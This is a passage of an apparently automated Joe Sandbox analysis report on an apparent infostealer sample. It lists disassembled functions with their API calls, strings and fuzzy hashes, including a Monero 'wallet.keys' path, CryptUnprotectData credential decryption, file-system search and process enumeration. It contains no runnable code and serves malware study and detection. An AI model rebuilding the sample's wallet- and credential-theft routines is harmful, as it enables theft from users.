Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 3YvL$A5l~$M?w$W$w$[$w$uI6/$)tD
API String ID: 0-1347006738
Opcode ID: 814f90e434920abd5b88c43d69569c574941723899e6a35e5793785b93df1280
Instruction ID: e91e39373be12e867032c5ac34b423cbf6c395476bca08ffda45a08bbf73acd5
Opcode Fuzzy Hash: 814f90e434920abd5b88c43d69569c574941723899e6a35e5793785b93df1280
Instruction Fuzzy Hash: 03B207F360C2009FE708AF2DDC8567ABBE5EF94720F1A893DE6C5C7744EA3558018696

Function 01297D17 Relevance: 10.3, Strings: 7, Instructions: 1575COMMON

Download Yara Rule

Strings

?A3, xrefs: 01298878
Ai3, xrefs: 01299006
2_k, xrefs: 01297DFA
c[{, xrefs: 0129812B
B-d, xrefs: 012988D3
ky, xrefs: 01298CAD
hD~}, xrefs: 0129832E

Memory Dump Source

Source File: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: c[{$2_k$?A3$B-d$hD~}$Ai3$ky
API String ID: 0-2078783676
Opcode ID: bab6467895bfa599cfacfe7686fad7889befe52a625c8af9f300dce36a174f87
Instruction ID: 963af2d25f5e69b038ab260602792bb02235ab26a9c10b6bed6e4ca6dce74e0a
Opcode Fuzzy Hash: bab6467895bfa599cfacfe7686fad7889befe52a625c8af9f300dce36a174f87
Instruction Fuzzy Hash: 81B2E5F3A0C2049FE304AE2DEC8567ABBE5EF94720F16892DEAC4C7344E63558458797

Function 00ECE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,01B88950,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00EE0D73), ref: 00ECE4A2
StrCmpCA.SHLWAPI(?,00EE14F8), ref: 00ECE4F2
StrCmpCA.SHLWAPI(?,00EE14FC), ref: 00ECE508
FindNextFileA.KERNEL32(000000FF,?), ref: 00ECEBDF

Strings

\*.*, xrefs: 00ECE44D

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 45990e5f19ce55076f8068303ce489b2f0bc9335365594dbd00cc765b3b0c29d
Instruction ID: dba77624b744bbdaaf1efabc4c6b18dc796cdb627c57e01fda9aa189b837d5b5
Opcode Fuzzy Hash: 45990e5f19ce55076f8068303ce489b2f0bc9335365594dbd00cc765b3b0c29d
Instruction Fuzzy Hash: 621255369001189ADB18FB60DD96EED73B9EF54300F4451BAB50A72281EF705F8ACF92

Function 00EC9AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00EC9AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00EC4EEE,00000000,?), ref: 00EC9B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00EC9B2A
LocalFree.KERNEL32(?,?,?,?,00EC4EEE,00000000,?), ref: 00EC9B3F

Strings

N, xrefs: 00EC9AD4, 00EC9AE1, 00EC9AF9, 00EC9B18, 00EC9AE4, 00EC9B1B

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: N
API String ID: 4291131564-1689755984
Opcode ID: 4b547632dceef005607afca3b60e862e6ed490dbd0e8a9315f5e9708976c6198
Instruction ID: 8a999b67e7651f12990c47b793cca18c929188265184b3f9580bb90a78a96a87
Opcode Fuzzy Hash: 4b547632dceef005607afca3b60e862e6ed490dbd0e8a9315f5e9708976c6198
Instruction Fuzzy Hash: 6611D2B4640308BFEB14CF64D895FAA77B5FB89705F208059FD15AB384C7B2AA41CB90

Function 0128F6F9 Relevance: 7.9, Strings: 5, Instructions: 1630COMMON

Download Yara Rule

Strings

u-g~, xrefs: 01290A20
u, xrefs: 0128FDD1
vw, xrefs: 0128FF64
jVcm, xrefs: 0128FBD6
uc9?, xrefs: 0129065F

Memory Dump Source

Source File: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: jVcm$u$u-g~$uc9?$vw
API String ID: 0-2623730173
Opcode ID: 2bb9d284822eba911dec9fee820bc5ce32873563d2475d14ec194ca79103a302
Instruction ID: d5fab6000d9f6ba5933cd27268b8e5f3db707c03f1930e0cf130bb1dbfcc4b54
Opcode Fuzzy Hash: 2bb9d284822eba911dec9fee820bc5ce32873563d2475d14ec194ca79103a302
Instruction Fuzzy Hash: 57B2E6F3A086049FE304AE2DEC8577ABBE9EF94720F16493DEAC4C3744E63558058697

Function 00ECC820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00ECC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00ECC87C
lstrcat.KERNEL32(?,00EE0B46), ref: 00ECC943
lstrcat.KERNEL32(?,00EE0B47), ref: 00ECC957
lstrcat.KERNEL32(?,00EE0B4E), ref: 00ECC978

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 584a729246972c97fe31018e46e02e4d87baff2d967f25a2c5d660065352f10f
Instruction ID: b78bdff9b7f2d190d99034bf5720e9465c489715024aecdf92387834c2c4d70f
Opcode Fuzzy Hash: 584a729246972c97fe31018e46e02e4d87baff2d967f25a2c5d660065352f10f
Instruction Fuzzy Hash: 9C415B75D0420A9BCB24CFA0DD89BEEB7B8BF88304F1041A8E509B7284D7B15A85CF91

Function 00EC7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00EC724D
RtlAllocateHeap.NTDLL(00000000), ref: 00EC7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00EC7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00EC72A4
LocalFree.KERNEL32(?), ref: 00EC72AE

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 104becde33b92ff46bd2e1461157b073acdbacd70b8c1ae0d509d0939cf30a8d
Instruction ID: a870b2fb9d94344a8bd4ad763b55ba33c0fd08eeac32382db6215b60140e6f13
Opcode Fuzzy Hash: 104becde33b92ff46bd2e1461157b073acdbacd70b8c1ae0d509d0939cf30a8d
Instruction Fuzzy Hash: 6F0140B5A40308BBEB24DBD4DD46F9D7778AB44701F104059FB15BB2C4D6B0AA418B64

Function 00ED9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00ED961E
Process32First.KERNEL32(00EE0ACA,00000128), ref: 00ED9632
Process32Next.KERNEL32(00EE0ACA,00000128), ref: 00ED9647
StrCmpCA.SHLWAPI(?,00000000), ref: 00ED965C
CloseHandle.KERNEL32(00EE0ACA), ref: 00ED967A

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: dd9e875c120224952a632970a2c2371159a89ddbdb523324f242c46eab7f1d87
Instruction ID: a187859cef779ce4215b34ed10d8234d30f617a9450f7a61e81fc4c01ad030d7
Opcode Fuzzy Hash: dd9e875c120224952a632970a2c2371159a89ddbdb523324f242c46eab7f1d87
Instruction Fuzzy Hash: F9012975A00208ABCB25DFA4D848BEDB7F8EF08301F004199A916A7240DB749B81CF50

Function 012946EB Relevance: 6.6, Strings: 4, Instructions: 1601COMMON

Download Yara Rule

Strings

Qz, xrefs: 012956EE
4G?, xrefs: 012947FD
:NZ, xrefs: 012949DE
,u], xrefs: 01294958

Memory Dump Source

Source File: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ,u]$:NZ$4G?$Qz
API String ID: 0-1775770776
Opcode ID: 437023584354754913465e2da5ba544114211950d3527ca2406bf6fdf5fe429a
Instruction ID: bbc49841cf8de862beec7822e466ce89b9217384f54af1c766cf212c0b1def5f
Opcode Fuzzy Hash: 437023584354754913465e2da5ba544114211950d3527ca2406bf6fdf5fe429a
Instruction Fuzzy Hash: 1AB2F7F3A0C2049FE3046E2DDC8567AFBE9EF94720F1A893DE6C487744EA3558058697

Function 0128C1B7 Relevance: 6.6, Strings: 4, Instructions: 1595COMMON

Download Yara Rule

Strings

ad|=, xrefs: 0128C267
L-vp, xrefs: 0128D3F8
})z}, xrefs: 0128D1FD
! _X, xrefs: 0128C43F

Memory Dump Source

Source File: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ! _X$L-vp$ad|=$})z}
API String ID: 0-1120557342
Opcode ID: 6422c6724d45e3c807b5c2ae57f76f8cfabb47e0880055f5ecac14af399c41d8
Instruction ID: c42235fd94b522e635016d6daffad3eeee735d5247e017413b5dc2e379d94ccc
Opcode Fuzzy Hash: 6422c6724d45e3c807b5c2ae57f76f8cfabb47e0880055f5ecac14af399c41d8
Instruction Fuzzy Hash: 68B2F5F260C204AFE304AF29EC8567AF7E9EF94720F16893DE6C583744EA3558448797

Function 00ED8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00EE05B7), ref: 00ED86CA
Process32First.KERNEL32(?,00000128), ref: 00ED86DE
Process32Next.KERNEL32(?,00000128), ref: 00ED86F3

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,01B88950,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

CloseHandle.KERNEL32(?), ref: 00ED8761

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 50e09dcdf99f9911258bf66980351c293388fcd6e84de577f4d2d4a532e42f37
Instruction ID: 3cffa5143db88a72889eb7ee19f1da0149e138b355601ddf7f30c84e44249211
Opcode Fuzzy Hash: 50e09dcdf99f9911258bf66980351c293388fcd6e84de577f4d2d4a532e42f37
Instruction Fuzzy Hash: 70315971901258ABCB29DF51DC55FEEB7B8EF44700F1041AAB50AB2290DB706B86CFA1

Function 00ED8EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00EC5184,40000001,00000000,00000000,?,00EC5184), ref: 00ED8EC0

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
